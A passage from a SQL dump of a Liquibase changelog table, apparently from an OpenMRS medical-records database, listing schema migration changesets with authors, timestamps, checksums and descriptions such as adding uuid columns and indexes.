Key','',NULL,'2.0.5'),('1227303685425-85','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:11',99,'EXECUTED','3:5544801862c8f21461acf9a22283ccab','Create Index','',NULL,'2.0.5'),('1227303685425-86','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:11',100,'EXECUTED','3:70591fc2cd8ce2e7bda36b407bbcaa86','Create Index','',NULL,'2.0.5'),('1227303685425-87','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:12',101,'EXECUTED','3:35c206a147d28660ffee5f87208f1f6b','Create Index','',NULL,'2.0.5'),('1227303685425-88','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:12',102,'EXECUTED','3:d399797580e14e7d67c1c40637314476','Create Index','',NULL,'2.0.5'),('1227303685425-89','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:12',103,'EXECUTED','3:138fa4373fe05e63fe5f923cf3c17e69','Create Index','',NULL,'2.0.5'),('1227303685425-9','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:02',7,'EXECUTED','3:ac6886dbc0c811bda6909908fb2d30a2','Create Table','',NULL,'2.0.5'),('1227303685425-90','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:12',104,'EXECUTED','3:4b60e13b8e209c2b5b1f981f4c28fc1b','Create Index','',NULL,'2.0.5'),('1227303685425-91','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:12',105,'EXECUTED','3:f9c13df6f50d1e7c1fad36faa020d7a6','Create Index','',NULL,'2.0.5'),('1227303685425-92','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:12',106,'EXECUTED','3:c24d9e0d28b3a208dbe2fc1cfaf23720','Create Index','',NULL,'2.0.5'),('1227303685425-93','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:12',107,'EXECUTED','3:ae9beae273f9502bc01580754e0f2bdf','Create Index','',NULL,'2.0.5'),('1227303685425-94','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:12',108,'EXECUTED','3:39d98e23d1480b677bc8f2341711756b','Create Index','',NULL,'2.0.5'),('1227303685425-95','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:12',109,'EXECUTED','3:16ece63cd24c4c5048356cc2854235e1','Create Index','',NULL,'2.0.5'),('1227303685425-96','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:12',110,'EXECUTED','3:de9943f6a1500bd3f94cb7e0c1d3bde7','Create Index','',NULL,'2.0.5'),('1227303685425-97','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:12',111,'EXECUTED','3:c0fac38fa4928378abe6f47bd78926b1','Create Index','',NULL,'2.0.5'),('1227303685425-98','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:12',112,'EXECUTED','3:4c8938f3ea457f5f4f4936e9cbaf898b','Create Index','',NULL,'2.0.5'),('1227303685425-99','ben (generated)','liquibase-schema-only.xml','2016-10-27 07:10:12',113,'EXECUTED','3:d331ce5f04aca9071c5b897396d81098','Create Index','',NULL,'2.0.5'),('2','upul','liquibase-update-to-latest.xml','2016-10-27 07:11:19',10043,'MARK_RAN','3:b1811e5e43321192b275d6e2fe2fa564','Add Foreign Key Constraint','Create the foreign key from the privilege required for to edit\n a person attribute type and the privilege.privilege column',NULL,'2.0.5'),('2-increase-privilege-col-size-rol-privilege','dkayiwa','liquibase-update-to-latest.xml','2016-10-27 07:12:08',10486,'EXECUTED','3:6fc0247ae054fedeb32a4af3775046f4','Drop Foreign Key Constraint, Modify Column, Add Foreign Key Constraint','Increasing the size of the privilege column in the role_privilege table',NULL,'2.0.5'),('2-role-assign-new-api-privileges-to-renamed-ones','dkayiwa','liquibase-update-to-latest.xml','2016-10-27 07:12:07',10484,'EXECUTED','3:4eadbd161bf0f7e15eafb4a52b01b625','Custom SQL','Assigning the new API-level privileges to roles that used to have the renamed privileges',NULL,'2.0.5'),('200805281223','bmckown','liquibase-update-to-latest.xml','2016-10-27 07:11:19',10045,'MARK_RAN','3:b1fc37f9ec96eac9203f0808c2f4ac26','Create Table, Add Foreign Key Constraint','Create the concept_complex table',NULL,'2.0.5'),('200805281224','bmckown','liquibase-update-to-latest.xml','2016-10-27 07:11:19',10046,'MARK_RAN','3:ea32453830c2215bdb209770396002e7','Add Column','Adding the value_complex column to obs. This may take a long time if you have a large number of observations.',NULL,'2.0.5'),('200805281225','bmckown','liquibase-update-to-latest.xml','2016-10-27 07:11:19',10047,'MARK_RAN','3:5281031bcc075df3b959e94da4adcaa9','Insert Row','Adding a \'complex\' Concept Datatype',NULL,'2.0.5'),('200805281226','bmckown','liquibase-update-to-latest.xml','2016-10-27 07:11:19',10048,'MARK_RAN','3:9a49a3d002485f3a77134d98fb7c8cd8','Drop Table (x2)','Dropping the mimetype and complex_obs tables as they aren\'t needed in the new complex obs setup',NULL,'2.0.5'),('200809191226','smbugua','liquibase-update-to-latest.xml','2016-10-27 07:11:19',10049,'MARK_RAN','3:eed0aa27b44ecf668c81e457d99fa7de','Add Column','Adding the hl7 archive message_state column so that archives can be tracked\n (preCondition database_version check in place because this change was in the old format in trunk for a while)',NULL,'2.0.5'),('200809191927','smbugua','liquibase-update-to-latest.xml','2016-10-27 07:11:19',10050,'MARK_RAN','3:f0e4fab64749e42770e62e9330c2d288','Rename Column, Modify Column','Adding the hl7 archive message_state column so that archives can be tracked',NULL,'2.0.5'),('200811261102','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:19',10044,'EXECUTED','3:158dd028359ebfd4f1c9bf2e76a5e143','Update Data','Fix field property for new Tribe person attribute',NULL,'2.0.5'),('200901101524','Knoll_Frank','liquibase-update-to-latest.xml','2016-10-27 07:11:19',10051,'EXECUTED','3:feb4a087d13657164e5c3bc787b7f83f','Modify Column','Changing datatype of drug.retire_reason from DATETIME to varchar(255)',NULL,'2.0.5'),('200901130950','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:19',10052,'EXECUTED','3:f1e5e7124bdb4f7378866fdb691e2780','Delete Data (x2)','Remove Manage Tribes and View Tribes privileges from all roles',NULL,'2.0.5'),('200901130951','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:19',10053,'EXECUTED','3:54ac8683819837cc04f1a16b6311d668','Delete Data (x2)','Remove Manage Mime Types, View Mime Types, and Purge Mime Types privilege',NULL,'2.0.5'),('200901161126','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:19',10054,'EXECUTED','3:871b9364dd87b6bfcc0005f40b6eb399','Delete Data','Removed the database_version global property',NULL,'2.0.5'),('20090121-0949','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:19',10055,'EXECUTED','3:8639e35e0238019af2f9e326dd5cbc22','Custom SQL','Switched the default xslt to use PV1-19 instead of PV1-1',NULL,'2.0.5'),('20090122-0853','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:19',10056,'EXECUTED','3:4903c6f81f0309313013851f09a26b85','Custom SQL, Add Lookup Table, Drop Foreign Key Constraint, Delete Data (x2), Drop Table','Remove duplicate concept name tags',NULL,'2.0.5'),('20090123-0305','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:20',10057,'MARK_RAN','3:48cdf2b28fcad687072ac8133e46cba6','Add Unique Constraint','Add unique constraint to the tags table',NULL,'2.0.5'),('20090214-2246','isherman','liquibase-update-to-latest.xml','2016-10-27 07:11:20',10063,'EXECUTED','3:d16c607266238df425db61908e7c8745','Custom SQL','Add weight and cd4 to patientGraphConcepts user property (mysql specific)',NULL,'2.0.5'),('20090214-2247','isherman','liquibase-update-to-latest.xml','2016-10-27 07:11:20',10064,'MARK_RAN','3:e4eeb4a09c2ab695bbde832cd7b6047d','Custom SQL','Add weight and cd4 to patientGraphConcepts user property (using standard sql)',NULL,'2.0.5'),('200902142212','ewolodzko','liquibase-update-to-latest.xml','2016-10-27 07:11:42',10242,'MARK_RAN','3:df93fa2841295b29a0fcd4225c46d1a3','Add Column','Add a sortWeight field to PersonAttributeType',NULL,'2.0.5'),('200902142213','ewolodzko','liquibase-update-to-latest.xml','2016-10-27 07:11:42',10243,'EXECUTED','3:288804e42d575fe62c852ed9daa9d59d','Custom SQL','Add default sortWeights to all current PersonAttributeTypes',NULL,'2.0.5'),('20090224-1002-create-visit_type','dkayiwa','liquibase-update-to-latest.xml','2016-10-27 07:11:53',10384,'MARK_RAN','3:ea3c0b323da2d51cf43e982177eace96','Create Table, Add Foreign Key Constraint (x3)','Create visit type table',NULL,'2.0.5'),('20090224-1229','Keelhaul+bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:20',10058,'MARK_RAN','3:f8433194bcb29073c17c7765ce61aab2','Create Table, Add Foreign Key Constraint (x2)','Add location tags table',NULL,'2.0.5'),('20090224-1250','Keelhaul+bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:20',10059,'MARK_RAN','3:8935a56fac2ad91275248d4675c2c090','Create Table, Add Foreign Key Constraint (x2), Add Primary Key','Add location tag map table',NULL,'2.0.5'),('20090224-1256','Keelhaul+bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:20',10060,'MARK_RAN','3:9c0e7238dd1daad9edff381ba22a3ada','Add Column, Add Foreign Key Constraint','Add parent_location column to location table',NULL,'2.0.5'),('20090225-1551','dthomas','liquibase-update-to-latest.xml','2011-09-15 00:00:00',10001,'MARK_RAN','3:a3aed1685bd1051a8c4fae0eab925954',NULL,NULL,NULL,NULL),('20090301-1259','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:20',10062,'EXECUTED','3:21f2ac06dee26613b73003cd1f247ea8','Update Data (x2)','Fixes the description for name layout global property',NULL,'2.0.5'),('20090316-1008','vanand','liquibase-update-to-latest.xml','2011-09-15 00:00:00',10000,'MARK_RAN','3:baa49982f1106c65ba33c845bba149b3',NULL,NULL,NULL,NULL),('20090316-1008-fix','sunbiz','liquibase-update-to-latest.xml','2016-10-27 07:11:56',10432,'EXECUTED','3:aeeb6c14cd22ffa121a2582e04025f5a','Modify Column (x36)','(Fixed)Changing from smallint to BOOLEAN type on BOOLEAN properties',NULL,'2.0.5'),('200903210905','mseaton','liquibase-update-to-latest.xml','2016-10-27 07:11:20',10065,'MARK_RAN','3:720bb7a3f71f0c0a911d3364e55dd72f','Create Table, Add Foreign Key Constraint (x3)','Add a table to enable generic storage of serialized objects',NULL,'2.0.5'),('200903210905-fix','sunbiz','liquibase-update-to-latest.xml','2016-10-27 07:11:20',10066,'EXECUTED','3:a11519f50deeece1f9760d3fc1ac3f05','Modify Column','(Fixed)Add a table to enable generic storage of serialized objects',NULL,'2.0.5'),('20090402-1515-38-cohort','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:21',10071,'MARK_RAN','3:5c65821ef168d9e8296466be5990ae08','Add Column','Adding \"uuid\" column to cohort table',NULL,'2.0.5'),('20090402-1515-38-concept','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:21',10072,'MARK_RAN','3:8004d09d6e2a34623b8d0a13d6c38dc4','Add Column','Adding \"uuid\" column to concept table',NULL,'2.0.5'),('20090402-1515-38-concept_answer','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:21',10073,'MARK_RAN','3:adf3f4ebf7e0eb55eb6927dea7ce2a49','Add Column','Adding \"uuid\" column to concept_answer table',NULL,'2.0.5'),('20090402-1515-38-concept_class','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:22',10074,'MARK_RAN','3:f39e190a2e12c7a6163a0d8a82544228','Add Column','Adding \"uuid\" column to concept_class table',NULL,'2.0.5'),('20090402-1515-38-concept_datatype','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:22',10075,'MARK_RAN','3:d68b3f2323626fee7b433f873a019412','Add Column','Adding \"uuid\" column to concept_datatype table',NULL,'2.0.5'),('20090402-1515-38-concept_description','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:22',10076,'MARK_RAN','3:7d043672ede851c5dcd717171f953c75','Add Column','Adding \"uuid\" column to concept_description table',NULL,'2.0.5'),('20090402-1515-38-concept_map','bwolfe','liquibase-update-to-latest.xml','2011-09-15 00:00:00',10002,'MARK_RAN','3:c1884f56bd70a205b86e7c4038e6c6f9',NULL,NULL,NULL,NULL),('20090402-1515-38-concept_name','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:22',10077,'MARK_RAN','3:822888c5ba1132f6783fbd032c21f238','Add Column','Adding \"uuid\" column to concept_name table',NULL,'2.0.5'),('20090402-1515-38-concept_name_tag','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:22',10078,'MARK_RAN','3:dcb584d414ffd8133c97e42585bd34cd','Add Column','Adding \"uuid\" column to concept_name_tag table',NULL,'2.0.5'),('20090402-1515-38-concept_proposal','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:22',10079,'MARK_RAN','3:fe19ecccb704331741c227aa72597789','Add Column','Adding \"uuid\" column to concept_proposal table',NULL,'2.0.5'),('20090402-1515-38-concept_set','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:22',10080,'MARK_RAN','3:cdc72e16eaec2244c09e9e2fedf5806b','Add Column','Adding \"uuid\" column to concept_set table',NULL,'2.0.5'),('20090402-1515-38-concept_source','bwolfe','liquibase-update-to-latest.xml','2011-09-15 00:00:00',10003,'MARK_RAN','3:ad101415b93eaf653871eddd4fe4fc17',NULL,NULL,NULL,NULL),('20090402-1515-38-concept_state_conversion','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:22',10081,'MARK_RAN','3:5ce8a6cdbfa8742b033b0b1c12e4cd42','Add Column','Adding \"uuid\" column to concept_state_conversion table',NULL,'2.0.5'),('20090402-1515-38-drug','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:22',10082,'MARK_RAN','3:6869bd44f51cb7f63f758fbd8a7fe156','Add Column','Adding \"uuid\" column to drug table',NULL,'2.0.5'),('20090402-1515-38-encounter','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:22',10083,'MARK_RAN','3:0808491f7ec59827a0415f2949b9d90e','Add Column','Adding \"uuid\" column to encounter table',NULL,'2.0.5'),('20090402-1515-38-encounter_type','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:22',10084,'MARK_RAN','3:9aaac835f4d9579386990d4990ffb9d6','Add Column','Adding \"uuid\" column to encounter_type table',NULL,'2.0.5'),('20090402-1515-38-field','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:22',10085,'MARK_RAN','3:dfee5fe509457ef12b14254bab9e6df5','Add Column','Adding \"uuid\" column to field table',NULL,'2.0.5'),('20090402-1515-38-field_answer','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:22',10086,'MARK_RAN','3:c378494d6e9ae45b278c726256619cd7','Add Column','Adding \"uuid\" column to field_answer table',NULL,'2.0.5'),('20090402-1515-38-field_type','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:22',10087,'MARK_RAN','3:dfb47f0b85d5bdad77f3a15cc4d180ec','Add Column','Adding \"uuid\" column to field_type table',NULL,'2.0.5'),('20090402-1515-38-form','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:22',10088,'MARK_RAN','3:eb707ff99ed8ca2945a43175b904dea4','Add Column','Adding \"uuid\" column to form table',NULL,'2.0.5'),('20090402-1515-38-form_field','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:22',10089,'MARK_RAN','3:635701ccda0484966f45f0e617119100','Add Column','Adding \"uuid\" column to form_field table',NULL,'2.0.5'),('20090402-1515-38-global_property','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:22',10090,'MARK_RAN','3:1c62ba666b60eaa88ee3a90853f3bf59','Add Column','Adding \"uuid\" column to global_property table',NULL,'2.0.5'),('20090402-1515-38-hl7_in_archive','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:22',10091,'MARK_RAN','3:9c5015280eff821924416112922fd94d','Add Column','Adding \"uuid\" column to hl7_in_archive table',NULL,'2.0.5'),('20090402-1515-38-hl7_in_error','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:22',10092,'MARK_RAN','3:35b94fc079e6de9ada4329a7bbc55645','Add Column','Adding \"uuid\" column to hl7_in_error table',NULL,'2.0.5'),('20090402-1515-38-hl7_in_queue','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:22',10093,'MARK_RAN','3:494d9eaaed055d0c5af4b4d85db2095d','Add Column','Adding \"uuid\" column to hl7_in_queue table',NULL,'2.0.5'),('20090402-1515-38-hl7_source','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:22',10094,'MARK_RAN','3:8bc9839788ef5ab415ccf020eb04a1f7','Add Column','Adding \"uuid\" column to hl7_source table',NULL,'2.0.5'),('20090402-1515-38-location','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:22',10095,'MARK_RAN','3:7e6b762f813310c72026677d540dee57','Add Column','Adding \"uuid\" column to location table',NULL,'2.0.5'),('20090402-1515-38-location_tag','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:22',10096,'MARK_RAN','3:6a94a67e776662268d42f09cf7c66ac0','Add Column','Adding \"uuid\" column to location_tag table',NULL,'2.0.5'),('20090402-1515-38-note','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:22',10097,'MARK_RAN','3:f0fd7b6750d07c973aad667b170cdfa8','Add Column','Adding \"uuid\" column to note table',NULL,'2.0.5'),('20090402-1515-38-notification_alert','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:22',10098,'MARK_RAN','3:f2865558fb76c7584f6e86786b0ffdea','Add Column','Adding \"uuid\" column to notification_alert table',NULL,'2.0.5'),('20090402-1515-38-notification_template','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:22',10099,'MARK_RAN','3:c05536d99eb2479211cb10010d48a2e9','Add Column','Adding \"uuid\" column to notification_template table',NULL,'2.0.5'),('20090402-1515-38-obs','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:22',10100,'MARK_RAN','3:ba99d7eccba2185e9d5ebab98007e577','Add Column','Adding \"uuid\" column to obs table',NULL,'2.0.5'),('20090402-1515-38-orders','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:22',10102,'MARK_RAN','3:732a2d4fd91690d544f0c63bdb65819f','Add Column','Adding \"uuid\" column to orders table',NULL,'2.0.5'),('20090402-1515-38-order_type','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:22',10101,'MARK_RAN','3:137552884c5eb5af4c3f77c90df514cb','Add Column','Adding \"uuid\" column to order_type table',NULL,'2.0.5'),('20090402-1515-38-patient_identifier','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:22',10103,'MARK_RAN','3:1a9ddcd8997bcf1a9668051d397e41c1','Add Column','Adding \"uuid\" column to patient_identifier table',NULL,'2.0.5'),('20090402-1515-38-patient_identifier_type','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:22',10104,'MARK_RAN','3:6170d6caa73320fd2433fba0a16e8029','Add Column','Adding \"uuid\" column to patient_identifier_type table',NULL,'2.0.5'),('20090402-1515-38-patient_program','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:22',10105,'MARK_RAN','3:8fb284b435669717f4b5aaa66e61fc10','Add Column','Adding \"uuid\" column to patient_program table',NULL,'2.0.5'),('20090402-1515-38-patient_state','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:22',10106,'MARK_RAN','3:b67eb1bbd3e2912a646f56425c38631f','Add Column','Adding \"uuid\" column to patient_state table',NULL,'2.0.5'),('20090402-1515-38-person','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:22',10107,'MARK_RAN','3:2b89eb77976b9159717e9d7b83c34cf1','Add Column','Adding \"uuid\" column to person table',NULL,'2.0.5'),('20090402-1515-38-person_address','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:22',10108,'MARK_RAN','3:cfdb17b16b6d15477bc72d4d19ac3f29','Add Column','Adding \"uuid\" column to person_address table',NULL,'2.0.5'),('20090402-1515-38-person_attribute','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:22',10109,'MARK_RAN','3:2f6b7fa688987b32d99cda348c6f6c46','Add Column','Adding \"uuid\" column to person_attribute table',NULL,'2.0.5'),('20090402-1515-38-person_attribute_type','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:22',10110,'MARK_RAN','3:38d4dce320f2fc35db9dfcc2eafc093e','Add Column','Adding \"uuid\" column to person_attribute_type table',NULL,'2.0.5'),('20090402-1515-38-person_name','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:22',10111,'MARK_RAN','3:339f02d6797870f9e7dd704f093b088c','Add Column','Adding \"uuid\" column to person_name table',NULL,'2.0.5'),('20090402-1515-38-privilege','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:22',10112,'MARK_RAN','3:41f52c4340fdc9f0825ea9660edea8ec','Add Column','Adding \"uuid\" column to privilege table',NULL,'2.0.5'),('20090402-1515-38-program','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:22',10113,'MARK_RAN','3:a72f80159cdbd576906cd3b9069d425b','Add Column','Adding \"uuid\" column to program table',NULL,'2.0.5'),('20090402-1515-38-program_workflow','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:22',10114,'MARK_RAN','3:c69183f7e1614d5a338c0d0944f1e754','Add Column','Adding \"uuid\" column to program_workflow table',NULL,'2.0.5'),('20090402-1515-38-program_workflow_state','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:22',10115,'MARK_RAN','3:e25b0fa351bb667af3ff562855f66bb6','Add Column','Adding \"uuid\" column to program_workflow_state table',NULL,'2.0.5'),('20090402-1515-38-relationship','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:22',10116,'MARK_RAN','3:95407167e9f4984de1d710a83371ebd1','Add Column','Adding \"uuid\" column to relationship table',NULL,'2.0.5'),('20090402-1515-38-relationship_type','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:22',10117,'MARK_RAN','3:f8755b127c004d11a43bfd6558be01b7','Add Column','Adding \"uuid\" column to relationship_type table',NULL,'2.0.5'),('20090402-1515-38-report_object','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:22',10118,'MARK_RAN','3:b7ce0784e817be464370a3154fd4aa9c','Add Column','Adding \"uuid\" column to report_object table',NULL,'2.0.5'),('20090402-1515-38-report_schema_xml','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:23',10119,'MARK_RAN','3:ce7ae79a3e3ce429a56fa658c48889b5','Add Column','Adding \"uuid\" column to report_schema_xml table',NULL,'2.0.5'),('20090402-1515-38-role','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:23',10120,'MARK_RAN','3:f33887a0b51ab366d414e16202cf55db','Add Column','Adding \"uuid\" column to role table',NULL,'2.0.5'),('20090402-1515-38-serialized_object','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:23',10121,'MARK_RAN','3:341cfbdff8ebf188d526bf3348619dcc','Add Column','Adding \"uuid\" column to serialized_object table',NULL,'2.0.5'),('20090402-1516-cohort','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:23',10122,'EXECUTED','3:110084035197514c8d640b915230cf72','Update Data','Generating UUIDs for all rows in cohort table via built in uuid function.',NULL,'2.0.5'),('20090402-1516-concept','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:23',10123,'EXECUTED','3:a44bc743cb837d88f7371282f3a5871e','Update Data','Generating UUIDs for all rows in concept table via built in uuid function.',NULL,'2.0.5'),('20090402-1516-concept_answer','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:23',10124,'EXECUTED','3:f01d7278b153fa10a7d741607501ae1e','Update Data','Generating UUIDs for all rows in concept_answer table via built in uuid function.',NULL,'2.0.5'),('20090402-1516-concept_class','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:23',10125,'EXECUTED','3:786f0ec8beec453ea9487f2e77f9fb4d','Update Data','Generating UUIDs for all rows in concept_class table via built in uuid function.',NULL,'2.0.5'),('20090402-1516-concept_datatype','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:23',10126,'EXECUTED','3:b828e9851365ec70531dabd250374989','Update Data','Generating UUIDs for all rows in concept_datatype table via built in uuid function.',NULL,'2.0.5'),('20090402-1516-concept_description','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:23',10127,'EXECUTED','3:37dbfc43c73553c9c9ecf11206714cc4','Update Data','Generating UUIDs for all rows in concept_description table via built in uuid function.',NULL,'2.0.5'),('20090402-1516-concept_map','bwolfe','liquibase-update-to-latest.xml','2011-09-15 00:00:00',10004,'MARK_RAN','3:e843f99c0371aabee21ca94fcef01f39',NULL,NULL,NULL,NULL),('20090402-1516-concept_name','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:23',10128,'EXECUTED','3:dd414ae9367287c9c03342a79abd1d62','Update Data','Generating UUIDs for all rows in concept_name table via built in uuid function.',NULL,'2.0.5'),('20090402-1516-concept_name_tag','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:23',10129,'EXECUTED','3:cd7b5d0ceeb90b2254708b44c10d03e8','Update Data','Generating UUIDs for all rows in concept_name_tag table via built in uuid function.',NULL,'2.0.5'),('20090402-1516-concept_proposal','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:23',10130,'EXECUTED','3:fb1cfa9c5decbafc3293f3dd1d87ff2b','Update Data','Generating UUIDs for all rows in concept_proposal table via built in uuid function.',NULL,'2.0.5'),('20090402-1516-concept_set','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:23',10131,'EXECUTED','3:3b7f3851624014e740f89bc9a431feaa','Update Data','Generating UUIDs for all rows in concept_set table via built in uuid function.',NULL,'2.0.5'),('20090402-1516-concept_source','bwolfe','liquibase-update-to-latest.xml','2011-09-15 00:00:00',10005,'MARK_RAN','3:53da91ae3e39d7fb7ebca91df3bfd9a6',NULL,NULL,NULL,NULL),('20090402-1516-concept_state_conversion','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:23',10132,'EXECUTED','3:23197d24e498ad86d4e001b183cc0c6b','Update Data','Generating UUIDs for all rows in concept_state_conversion table via built in uuid function.',NULL,'2.0.5'),('20090402-1516-drug','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:23',10133,'EXECUTED','3:40b47df80bd425337b7bdd8b41497967','Update Data','Generating UUIDs for all rows in drug table via built in uuid function.',NULL,'2.0.5'),('20090402-1516-encounter','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:23',10134,'EXECUTED','3:40146708b71d86d4c8c5340767a98f5e','Update Data','Generating UUIDs for all rows in encounter table via built in uuid function.',NULL,'2.0.5'),('20090402-1516-encounter_type','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:23',10135,'EXECUTED','3:738c6b6244a84fc8e6d582bcd472ffe6','Update Data','Generating UUIDs for all rows in encounter_type table via built in uuid function.',NULL,'2.0.5'),('20090402-1516-field','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:23',10136,'EXECUTED','3:98d2a1550e867e4ef303a4cc47ed904d','Update Data','Generating UUIDs for all rows in field table via built in uuid function.',NULL,'2.0.5'),('20090402-1516-field_answer','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:23',10137,'EXECUTED','3:82bdfe361286d261724eef97dd89e358','Update Data','Generating UUIDs for all rows in field_answer table via built in uuid function.',NULL,'2.0.5'),('20090402-1516-field_type','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:23',10138,'EXECUTED','3:19a8d007f6147651240ebb9539d3303a','Update Data','Generating UUIDs for all rows in field_type table via built in uuid function.',NULL,'2.0.5'),('20090402-1516-form','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:23',10139,'EXECUTED','3:026ddf1c9050c7367d4eb57dd4105322','Update Data','Generating UUIDs for all rows in form table via built in uuid function.',NULL,'2.0.5'),('20090402-1516-form_field','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:23',10140,'EXECUTED','3:a8b0bcdb35830c2badfdcb9b1cfdd3b5','Update Data','Generating UUIDs for all rows in form_field table via built in uuid function.',NULL,'2.0.5'),('20090402-1516-global_property','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:23',10141,'EXECUTED','3:75a5b4a9473bc9c6bfbabf8e77b0cda7','Update Data','Generating UUIDs for all rows in global_property table via built in uuid function.',NULL,'2.0.5'),('20090402-1516-hl7_in_archive','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:23',10142,'EXECUTED','3:09891436d8ea0ad14f7b52fd05daa237','Update Data','Generating UUIDs for all rows in hl7_in_archive table via built in uuid function.',NULL,'2.0.5'),('20090402-1516-hl7_in_error','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:23',10143,'EXECUTED','3:8d276bbd8bf9d9d1c64756f37ef91ed3','Update Data','Generating UUIDs for all rows in hl7_in_error table via built in uuid function.',NULL,'2.0.5'),('20090402-1516-hl7_in_queue','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:23',10144,'EXECUTED','3:25e8f998171accd46860717f93690ccc','Update Data','Generating UUIDs for all rows in hl7_in_queue table via built in uuid function.',NULL,'2.0.5'),('20090402-1516-hl7_source','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:23',10145,'EXECUTED','3:45c06e034d7158a0d09afae60c4c83d6','Update Data','Generating UUIDs for all rows in hl7_source table via built in uuid function.',NULL,'2.0.5'),('20090402-1516-location','bwolfe','liquibase-update-to-latest.xml','2016-10-27 